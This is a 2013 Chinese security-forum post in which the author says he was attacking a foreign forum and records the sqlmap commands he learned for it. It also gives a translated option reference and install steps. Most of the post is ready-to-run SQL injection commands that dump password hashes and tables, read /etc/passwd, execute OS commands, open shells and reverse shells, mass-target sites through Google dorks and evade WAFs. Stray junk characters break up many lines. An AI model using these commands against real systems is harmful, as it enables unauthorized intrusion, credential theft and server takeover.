中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]
作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入，实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法，，直接做个记录、、
7 A+ o" ]; l8 }8 E& b  usqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称" M0 e9 f8 J* {  ?8 U7 Y0 g
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名+ \/ v7 q" b1 l6 r; p3 B
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
7 `0 P6 _9 i- L # N  Q- M2 E4 T2 u* ?  f
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
# A; ^. m8 j; K0 #获取字段内容
9 H9 Q4 }$ b9 }- X0 Z
6 a8 V8 v4 ^# j+ Y# B; a" o$ p! h******************信息获取******************$ I  L. b  o7 M
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型0 }: ?9 t: r7 R& o
sqlmap -u “http://url/news?id=1″ –users #列数据库用户" g* z& h# O6 t: F4 _$ X0 I, O; A
sqlmap -u “http://url/news?id=1″ –dbs#列数据库- S; o. T+ e# {; G7 \
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
5 n: M2 I& a. J; g; ~sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码  l- m! d0 ~' v/ [$ y. D2 [
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”* V- \% u" R2 Z9 o5 G+ G
–start 1 –stop 20 #列出指定字段，列出20 条. S7 ]. f6 J* n) }3 o/ E
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表7 ~; Z' A/ e( [$ W  _4 O/ q
sqlmap -u “http://url/news?id=1″ –privileges #查看权限" M  p& z3 R% X% d; `
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
* g+ Z3 z$ N* ]0 n* \sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数（获取 系统权限！）" x' ]/ }) Z* z/ m  F# k! |: y
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
2 q; D4 v, X* G* zsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录) |7 R* c! n" e; j# ^1 R9 ?( K
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
' J2 l1 ~2 s& y  d- L8 Jsqlmap -u “http://url/news?id=1″-b #获取banner信息
7 g4 a8 G0 u9 a7 o5 W# ysqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
& ~" @0 l" [3 g/ L# Bsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
3 N# H% y* s" K# ]! M3 T# asqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入: w0 |- l1 k' s! X& C) O( s8 z% K7 O" a
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词/ v6 l+ a/ d2 {! U$ T
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
; u2 _( Z) U; f( M: Z8 ksqlmap -u “http://url/news?id=1″ –file /etc/passwd
- }' g4 b0 H7 w' E0 asqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令% p& X# q* K$ I/ O! A1 _9 N) {
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
7 A0 o! ]) N2 Jsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
0 c0 M5 ^; U6 zsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
! c/ T( l3 N" d$ f0 n$ Xsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
" i$ E0 x, M: C+ p. ~0 d( Q***********高级用法*************4 H9 M8 c9 z7 A+ t8 W
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
: U* a. u; R, m6 P  ?# `sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
: A" j; F% ]; h–technique   测试指定注入类型\使用的技术
1 R" F! ]- h: b) O* @, o! w6 ]不加参数默认测试所有注入技术
5 I5 |+ ^% l2 O6 x' R•     B: 基于布尔的SQL 盲注, X' t# P5 W& v5 G; M& q8 {2 y
•     E: 基于显错sql 注入
, j! K7 `3 o- J9 w•     U: 基于UNION 注入
. z4 s# a/ Z3 y* X- e•     S: 叠层sql 注入
3 l7 C& O2 r, z( |9 Y•     T: 基于时间盲注
$ ?5 r8 O1 P6 x4 l9 l2 X8 D–tamper 通过编码绕过WEB 防火墙（WAF）Sqlmap 默认用char(); v7 d/ S" L! p6 E/ U4 Z
–tamper 插件所在目录
2 R$ k1 O) V( `7 C& x8 s2 ~/ d\sqlmap-dev\tamper1 o* ?6 l. u; P7 @$ n2 z, ?! j
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
  o" q; E  T% j4 x2 h. Alevel 执行测试等级 攻击实例:; K5 }' J1 Z2 i: @$ G0 @* D0 z3 A
Sqlmap -u “http://url/news?id=1&Submit=Submit”8 t& f5 F5 f1 q; x
–cookie=”PHPSESSID=41aa833e6d0d
% F( \; n6 L8 L- S: P9 W5 }- M28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user6 g. `3 v2 r- q+ d) m
–password* p* P) r: J- U% y2 @" R
参考文档:http://sqlmap.sourceforge.net/doc/README.html' N* [4 \4 A+ M  t; N! y
***********安装最新版本*************5 `* w' B' k, ]2 Y3 M0 s
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版7 l* N4 i6 v; Q: e2 a9 N0 ^
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
3 z7 V; D( T, ]* U7 D安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件$ U6 _+ W3 f; g, }
sudo vim /home/当前用户/.bashrc
4 f; A1 t/ V) M: F" p  Y! @  N/ _#任意位置加上：
. z* b* ]' f8 k9 ]$ w9 v# c/ Qalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效4 C: A0 p: j0 W6 R
如果想对所有用户有效 可设置全局 编辑下面的文件; I; V# v6 A6 U/ J
vim /etc/profile( l* d  n$ R9 Q9 h
同样加上：5 G7 \9 p8 @1 u
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效% S, L6 b( b& w# a' f0 K+ X! n
******************windows 7 (x64) sqlmap install (SVN)************' ~2 F% k0 X" g% |4 ~  w" ?! H: Q
http://www.python.org/getit/ 安装python1 r4 Q! u5 N) V; d8 S$ e, n: v
http://www.sliksvn.com/en/download 安装windows svn client
* C; g6 [2 q2 n8 nsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
" h6 U1 l* r$ e6 a' g安装sqlmap6 l6 J. b/ T7 s6 K3 J3 S
*修改环境变量" y' `4 O4 w% R' w3 c( a
–version             显示程序的版本号并退出3 M% `2 C3 F" s/ ~
-h, –help            显示此帮助消息并退出" V) j% K, M9 q7 {. b4 v6 X
-v VERBOSE            详细级别：0-6（默认为1）
' Y& T! S  [: g1 L3 xTarget（目标）： 以下至少需要设置其中一个选项，设置目标URL。) [, d9 `0 m0 O1 p5 r( c1 z2 N7 [& z
-d DIRECT           直接连接到数据库。$ K& h6 x( F9 m: g1 r
-u URL, –url=URL   目标URL。
/ m8 O2 L. i$ a3 C. D: N-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
$ s& x( U8 ^5 ^% E9 f-r REQUESTFILE      从一个文件中载入HTTP 请求。
9 ?1 S7 Q4 D- W2 g1 W4 p( h+ j-g GOOGLEDORK       处理Google dork 的结果作为目标URL。5 q' t" U$ _! o
-c CONFIGFILE       从INI 配置文件中加载选项。& y: b, Q  n7 C( P
Request（请求）：:+ j# t( y' c! p! A( r* y
这些选项可以用来指定如何连接到目标URL。4 b" }4 S+ M( G+ j1 u
–data=DATA         通过POST 发送的数据字符串
( N& g/ I. ^7 b7 k, \–cookie=COOKIE     HTTP Cookie 头; m, F3 T- A7 r: U% }+ `* C
–cookie-urlencode  URL 编码生成的cookie 注入
; f0 j3 c. G* V  \/ f/ s–drop-set-cookie   忽略响应的Set –Cookie 头信息7 J! q4 x4 W! V9 J. K" u

0 q5 ^, v( d; |+ y8 f–user-agent=AGENT  指定  HTTP User –Agent 头# n' j7 O5 y4 b+ n5 l
–random-agent      使用随机选定的HTTP User –Agent 头* h; l1 G* u7 [) K8 a8 Z
–referer=REFERER   指定  HTTP Referer 头
% j7 e5 Y. {, T$ h  Z–headers=HEADERS   换行分开，加入其他的HTTP 头  ]4 O4 q' K! |; |; A; }" N
–auth-type=ATYPE   HTTP 身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)
% i" Z6 |3 ^% o! |+ g: ^–auth-cred=ACRED   HTTP 身份验证凭据（用户名:密码）
+ X9 k' M& u& b0 p% F( H–auth-cert=ACERT   HTTP 认证证书（key_file，cert_file）
' g+ ~4 }3 [( {–proxy=PROXY       使用HTTP 代理连接到目标URL5 |3 ?1 t8 N8 {6 Y0 L; ?5 p+ e
–proxy-cred=PCRED  HTTP 代理身份验证凭据（用户名：密码）
, f  A( b+ t6 i2 q–ignore-proxy      忽略系统默认的HTTP 代理
8 n0 V) Y! }! k7 j0 U+ q–delay=DELAY       在每个HTTP 请求之间的延迟时间，单位为秒
* z/ K' X0 D( v" L4 D–timeout=TIMEOUT   等待连接超时的时间（默认为30 秒）
& R$ o% O) s! ^9 \# r0 H–retries=RETRIES   连接超时后重新连接的时间（默认3）$ o% s6 i# Q2 U8 n5 [& @
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
: Q$ @, j7 C, F) i  W–safe-url=SAFURL   在测试过程中经常访问的url 地址2 O  u+ y. c: Z9 j* q3 _
–safe-freq=SAFREQ  两次访问之间测试请求，给出安全的URL
, L4 A* j) [7 \) ZOptimization（优化）： 这些选项可用于优化SqlMap 的性能。. U& U/ {- |# `; a$ L3 U6 B
-o                  开启所有优化开关3 {6 ^. ?  E- O0 S2 U$ h4 }
–predict-output    预测常见的查询输出
! {: Y3 L% ~4 `–keep-alive        使用持久的HTTP（S）连接1 J2 o2 Z/ x! g2 s( w
–null-connection   从没有实际的HTTP 响应体中检索页面长度- e1 x; J# W. L/ w
–threads=THREADS   最大的HTTP（S）请求并发量（默认为1）
8 Z) z: _. x" `' ?- ?3 yInjection（注入）：
' [6 w9 V" v) n: {这些选项可以用来指定测试哪些参数，  提供自定义的注入payloads 和可选篡改脚本。, E) W# X5 g8 Y6 w' W- E6 r
-p TESTPARAMETER    可测试的参数（S）
. D/ f' W) ~' ^$ P  J–dbms=DBMS         强制后端的DBMS 为此值
. D* |1 {+ [4 y! ?( l–os=OS             强制后端的DBMS 操作系统为这个值
! ~, B  y5 s/ Z4 @+ r–prefix=PREFIX     注入payload 字符串前缀
7 E: j- M0 Z, I; L6 e) X# a–suffix=SUFFIX     注入 payload 字符串后缀% l2 b- D% S) K8 c. v* H% O
–tamper=TAMPER     使用给定的脚本（S）篡改注入数据8 S4 x& `$ k2 d1 @) V& {
Detection（检测）：
8 a2 m2 P' K* [# \这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
, L7 s$ @7 {4 E& h& ~- w' m–level=LEVEL       执行测试的等级（1-5，默认为1）
: x8 x7 Z7 T5 [/ {–risk=RISK         执行测试的风险（0-3，默认为1）$ B' B. ?9 r- k9 C/ _6 d
–string=STRING     查询时有效时在页面匹配字符串$ U) r% [  ^( B, \; T
–regexp=REGEXP     查询时有效时在页面匹配正则表达式: c8 Q3 c+ O5 G$ k
–text-only         仅基于在文本内容比较网页) j. ~, t5 ^+ ^6 O. m/ K
Techniques（技巧）： 这些选项可用于调整具体的SQL 注入测试。
: p. [3 M1 t4 T" N" f1 u$ W- K/ n* `–technique=TECH    SQL 注入技术测试（默认BEUST）' R) E. z5 a4 z0 q( R
–time-sec=TIMESEC  DBMS 响应的延迟时间（默认为5 秒）
" X* O( J- P# K1 `5 e# n% I: u–union-cols=UCOLS  定列范围用于测试UNION 查询注入7 h1 i9 k! H! u% K" ^. T/ F3 s9 |; b
–union-char=UCHAR  用于暴力猜解列数的字符
2 O3 n( g$ |& k( B) b6 IFingerprint（指纹）：
; ?2 Z( r8 |4 i-f, –fingerprint     执行检查广泛的DBMS 版本指纹
# _8 E) f0 a# v" iEnumeration（枚举）：. q9 M, F" R, ^4 W9 Y, q. o0 r4 _
$ V* c# @9 Q3 e! C3 b7 v, {/ `
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己 的SQL 语句。
% f% x5 y4 w# _9 O1 F6 \-b, –banner        检索数据库管理系统的标识# N6 W( G% c" ?' H
–current-user      检索数据库管理系统当前用户
" v7 E, ~) F4 ^7 @# H–current-db        检索数据库管理系统当前数据库
( e8 O7 j- k: t–is-dba            检测DBMS 当前用户是否DBA" A6 V- t8 O% s0 j, v5 K% J' @" n
–users             枚举数据库管理系统用户
4 `2 v* X! {% r) W5 v; o0 X–passwords         枚举数据库管理系统用户密码哈希, n" o/ F+ |; Z1 z& ~' G* G
–privileges        枚举数据库管理系统用户的权限9 l4 d' e. d* G% R9 M0 w' `# ]/ I
–roles             枚举数据库管理系统用户的角色! T3 Y; D; @7 B% H' Y
–dbs               枚举数据库管理系统数据库! Q; T# m3 [! ^9 x& h; z
–tables            枚举的DBMS 数据库中的表5 P' j" \. n) E; c/ Q) O$ |
–columns           枚举DBMS 数据库表列5 V# s. e1 s7 ^% y4 `
–dump              转储数据库管理系统的数据库中的表项6 |7 j, V; X& U1 h
–dump-all          转储所有的DBMS 数据库表中的条目
- ^3 L& _6 u- a! y–search            搜索列（S），表（S）和/或数据库名称（S）9 ]' H% t$ q3 Z6 q7 K2 T8 U2 ^' X
-D DB               要进行枚举的数据库名: L- M  @+ X1 u: a2 f: r: w! L
-T TBL              要进行枚举的数据库表
- i( l- u0 e. M# @9 m# R-C COL              要进行枚举的数据库列  t# w. ~8 Q9 ~+ w: `  M/ O
-U USER             用来进行枚举的数据库用户
4 N  s# W* Q8 S1 L–exclude-sysdbs    枚举表时排除系统数据库, G# n( j, V- o/ S
–start=LIMITSTART  第一个查询输出进入检索
: a, @( I$ o9 v) e5 B6 ]–stop=LIMITSTOP    最后查询的输出进入检索
- Q5 k/ w1 x5 |–first=FIRSTCHAR   第一个查询输出字的字符检索# q- E3 M: N2 F
–last=LASTCHAR     最后查询的输出字字符检索# O" G9 v9 Y6 @8 U1 o% i
–sql-query=QUERY   要执行的SQL 语句0 g9 V" j* r9 G! |
–sql-shell         提示交互式SQL 的shell$ c  f- V5 s" k: |' n5 a# Q
Brute force（蛮力）： 这些选项可以被用来运行蛮力检查。. i, |6 X2 e$ E
–common-tables     检查存在共同表( p4 m( l3 y* x6 Z- v
–common-columns    检查存在共同列
) S* n) z; u: G  }1 l( u( G% ~. C( UUser-defined function injection（用户自定义函数注入）： 这些选项可以用来创建用户自定义函数。) z  J4 D9 _$ B9 s: R' C% f& a
–udf-inject        注入用户自定义函数+ I' z7 j2 {- h5 x" b2 t
–shared-lib=SHLIB  共享库的本地路径
' g  t! _- k. ^5 e0 U9 f. K9 oFile system access（访问文件系统）： 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
5 j  V# N0 }" Z% j) Y( A+ `5 _! |* _–file-read=RFILE   从后端的数据库管理系统文件系统读取文件) W' l) k. {! x& `+ B
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
" c6 E5 F/ m, ^$ r5 y+ U  a–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径+ k' f( O' |8 K
Operating system access（操作系统访问）： 这些选项可以用于访问后端数据库管理系统的底层操作系统。
3 ?1 w; q% ~; t- p' F1 r–os-cmd=OSCMD      执行操作系统命令: {5 g: @1 w6 z8 E& t, }
–os-shell          交互式的操作系统的shell
$ u% l, o9 p1 X' m  ^" e. {4 J: i–os-pwn            获取一个OOB shell，meterpreter 或VNC
. G1 X& _* I3 d5 M$ Y–os-smbrelay       一键获取一个OOB shell，meterpreter 或VNC
: [- Q4 U1 |; y8 ]  j# I5 ~–os-bof            存储过程缓冲区溢出利用/ u+ Q$ Q9 V* o  F
–priv-esc          数据库进程用户权限提升
4 W+ U! V/ L: ~! a8 j& |–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
( Z( s2 X# [2 U7 z0 H–tmp-path=TMPPATH  远程临时文件目录的绝对路径
/ ^8 m1 R  `; i& w  v
2 q5 J. D: p. f# _# @Windows 注册表访问： 这些选项可以被用来访问后端数据库管理系统Windows 注册表。+ }; S, m0 r; P% A  N
–reg-read          读一个Windows 注册表项值( M  g' l& F% ~! V5 J
–reg-add           写一个Windows 注册表项值数据) k6 k' @- F" }5 l8 R# S: M
–reg-del           删除Windows 注册表键值7 j7 @+ }0 J) E; W9 n, ]
–reg-key=REGKEY    Windows 注册表键6 c5 u4 w2 F( p7 Y1 ~* J) ?( `1 R( n
–reg-value=REGVAL  Windows 注册表项值3 _  q6 I- u/ `+ w6 [( R
–reg-data=REGDATA  Windows 注册表键值数据
8 E! l  P& K, J2 s3 i; V–reg-type=REGTYPE  Windows 注册表项值类型
- \! h) o5 V' u9 O1 [9 g& l5 }0 C. |General（一般）： 这些选项可以用来设置一些一般的工作参数。! b6 q9 K9 Q2 P: m, @4 L1 [
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
3 H9 ^# w0 B/ y- S( a5 A( b-s SESSIONFILE      保存和恢复检索会话文件的所有数据; R, r$ {1 k6 e2 |
–flush-session     刷新当前目标的会话文件$ }  ~6 g7 g( p2 @; s( n8 S% a. _
–fresh-queries     忽略在会话文件中存储的查询结果
5 D4 K# v  d0 o+ l% }* ^–eta               显示每个输出的预计到达时间
0 @2 S9 q* ^- J& r- l: {–update            更新SqlMap) U/ m# `+ ^! r7 O
–save              file 保存选项到INI 配置文件
! G1 O4 C2 H8 y* t9 y–batch             从不询问用户输入，使用所有默认配置。
9 [+ d$ z$ ?. F! n" c' JMiscellaneous（杂项）：
! ]1 r* @) I8 p" @–beep              发现SQL 注入时提醒
: E0 A3 z+ b7 ~$ D$ F- v–check-payload     IDS 对注入payloads 的检测测试
2 `9 Z8 l9 ^" [5 m5 ~" d& W–cleanup           SqlMap 具体的UDF 和表清理DBMS) t! ~$ P4 _- L) F, K5 E$ V
–forms             对目标URL 的解析和测试形式
; u7 j+ Z; P9 u9 |. B. x6 [–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果, ~& K, X9 ^7 u% h
–page-rank         Google dork 结果显示网页排名（PR）) p& `% d# q7 f
–parse-errors      从响应页面解析数据库管理系统的错误消息- o5 R: J7 T. M. \+ H" g
–replicate         复制转储的数据到一个sqlite3 数据库  p4 _1 T" ]" n; d& D9 M
–tor               使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址
  V7 ^8 L  T7 f$ }: O–wizard            给初级用户的简单向导界面



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2